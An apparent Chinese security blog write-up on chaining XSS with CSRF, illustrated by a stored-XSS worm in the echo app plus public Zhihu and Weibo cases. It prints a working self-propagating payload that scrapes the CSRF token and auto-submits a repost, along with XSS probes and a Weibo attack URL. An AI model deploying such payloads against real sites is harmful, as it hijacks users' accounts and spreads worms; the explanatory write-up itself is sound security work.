借echo回声的蠕虫谈谈对xss和csrf的看法
in 安全技巧 with 0 comment

借echo回声的蠕虫谈谈对xss和csrf的看法

in 安全技巧 with 0 comment

0x01.前言

开头先说下,这篇文章是建立在对xss和csrf有一定认识的基础上
如果你不知道什么叫xss和csrf,先去了解一下,实现一下
wooyun这篇《邪恶的csrf》讲的很不错
这里我借自己挖过的两个蠕虫谈一下对xss和csrf的利用方法的看法

0x02.存储型xss

存储型xss基本是属于最好利用的一种了
可以获取当前域下的各种资源,会话劫持,钓鱼什么的无所不能。
当然存储型xss在我看来也分为两种,能拿到完整cookie和不能拿到完整cookie
对于能拿到完整cookie的情况,那利用起来都很方便,在我看来就是能无声无息完成各种操作,可以在用户不知情的情况下完成
之前我也有分析一个discuz的存储型xss脱裤,就是可以打到完整的cookie,也详细讲解了exp
管理员浏览这个帖子,裤子就脱了,管理员还不会发现什么异常
这里就不重复,可以翻翻我前面的文章能看到。
这里着重讲一下打不到完整cookie的情况,如果拿不到完整的cookie,那我们就不能伪造这个身份进行操作吗??
答案是还是可以,就是让他帮我们做,不是我们自己做。
其实就是一个csrf的效果,就算网站设置了token,也有很大可能绕过。
来看下我挖到的echo回声的蠕虫。
这里的xss很简单,在发动态的地方就有
QQ20170521-123703@2x.png
<img src=x onerror=alert(document.cookie);>
可以成功xss,这个地方这么敏感是很有可能蠕虫的
但是这里我们打不到完整的cookie,burp看一下cookie
QQ20170521-123835@2x.png
然后我们xss拿到的cookie
QQ20170521-124135@2x.png
很明显,我们只拿到了cookie里5个字段中的两个
另外3个应该是设置了httponly,拿不到那没办法
但是,我们还可以造成csrf攻击,效果其实跟有完整cookie差不多,就是隐蔽性不好。
这个站做了csrf防护,加入了token
QQ20170521-124223@2x.png
一般来说,token都会附带在页面的源代码中
QQ20170521-124246@2x.png
刚刚提到了我们的存储型xss可以获取到当前域下的任何资源,所以当然能获取到token
这里过滤了空格,所以我的js写的比较别扭

document.documentElement.outerHTML.substr(document.documentElement.outerHTML.indexOf('csrf-token')+21,56)

拿到token之后我们把它加入表单中,然后自动发送一个post请求,就可以模拟用户操作了

<form action='..\feed\api-relay' id='form234' name='form234' method='post'>
<input type='hidden' name='_csrf' id='csrf2334' value=''>
<input type='hidden' name='id' id='pid2334' value=''>
<input type='hidden' name='content' id='content2334' value='but chengable is hero'>
<img src=x onerror=(function(){document.getElementById("csrf2334").value=document.documentElement.outerHTML.substr(document.documentElement.outerHTML.indexOf('csrf-token')+21,56);document.getElementById("pid2334").value=document.documentElement.outerHTML.substr(document.documentElement.outerHTML.indexOf('data-id')+9,8);setTimeout('document.form234.submit()',3000);})();>

这里是一个自动转发的操作,只要浏览了这条动态的,都会自动转发这个动态
对,是浏览,不用你点进去,不用你点击什么,只要你眼睛看到了这个动态,就会自动转发,从而造成蠕虫
发布动态
QQ20170521-124417@2x.png
别人浏览之后,会自动发一个post包
QQ20170521-124443@2x.png
然后自动住转发成功
QQ20170521-124513@2x.png
再提一点,如果源代码中没有token
那很有可能是在你请求的时候利用jsonp跨域传送过来的token,
然后加入到post表单中,这样你不能提前获取到
但是跨域传输还是有风险的,jsonp传输过来的数据还是可以被窃取到
这又是一门学问,推荐大家看看p牛的这一篇文章一个窃取通过jsonp跨域传输的token的实例

0x03。反射型xss

对于反射型xss来说,如果打不到完整的cookie,利用就很有限制了(钓鱼就不说了)
要么就是跳转过去的页面源代码中有token,那就可以跟上面一样利用。
但是,这里要着重说一下,xss就是xss,能执行js代码还是威力无穷的,各种方式防不胜防
来看看wooyun上的这个例子
通过token验证机制的缺陷来造成csrf刷粉的效果。
这里简单说一下
知乎的验证token的机制是cookie中的token和表单中的token一样即可通过(ps:phpwind也是这样的)
由于这个xss是发生在子域下的,盗一下图
QQ20170521-124905@2x.png
不是www域下,所以窃取不到www域下的token
但是由于知乎是cookie中的同名字段后面可以覆盖前面,
导致我们可以利用xss在cookie中加入名称相同的_xsrf字段,
那么获取的时候就会获取我们自己设置的_xsrf,
然后在表单中再加入一项_xsrf,控制成跟cookie中我们自己设置的一样就可以了
QQ20170521-124949@2x.png
这样就可以成功刷粉
虽然个人认为反射型xss的利用的确有限制
拿不到cookie和token就比较鸡肋,
但是话不能说死,xss毕竟还是能执行js的,利用起来还是有无限的潜力的,关键还是要看实际情况。

0x04.selfxss 的妙用

很多厂家对selfxss都选择了忽略的态度,的确应该忽略,危害不大,
但是如果selfxss的地方出现了csrf,那么就相当于一个反射型xss,还是可以利用的,看一个例子
搜索的地方是很容易出现selfxss的点,看echo回声的搜索功能
QQ20170521-125232@2x.png
输入我们的xss代码<img src=x onerror=alert(1);>
搜索功能直接到没出什么问题,正常报错
QQ20170521-125309@2x.png
但是在当我们再去搜索其他的东西的时候比如我们搜索个111,这里有个搜索历史

QQ20170521-125338@2x.png
搜索历史就基本没有过滤,顺利执行了我们的 xss
这显然是一个selfxss,谁会去搜索一段恶意代码呢
selfxss不可怕,可怕的是selfxss的地方没有做csrf防御,导致可以远程利用!!
这里就是这样,我们来抓一下search的数据包
QQ20170521-125414@2x.png
我们可以看到这里并没有做csrf防御,直接用get方式去请求。
所以我们的思路就是先利用csrf发起一个恶意的search请求,
search的内容是我们的恶意代码,让用户再次搜索其他东西的时候,
在搜索历史处就会执行我们的恶意代码。
还有一个典型的例子
是chu牛的一个新浪反射型xss,问题也是出在搜索的地方
比如我们搜索diaosi,他会提示你是不是搜索“屌丝”,处恰好没有过滤。
QQ20170521-125520@2x.png
这里的selfxss也没有做csrf防御,于是就形成一个反射型xss
http://s.weibo.com/weibo/aa%253Ciframe%252Fonload%253Dalert(%252Fxss%252F)%253E&Refer=STopic_box

0x05.总结

当然这里提到的只是一部分比较常见的,flashxss和flashcsrf就没有提到,
我前面也有对flashxss的总结,总体来说,我觉得xss和csrf虽然是两种不同的漏洞,
但是在利用的时候还是要结合起来,很多时候csrf是一个跳板,
为了执行某些敏感操作,xss很多到最后也要借助csrf的思想来执行

Comments are closed.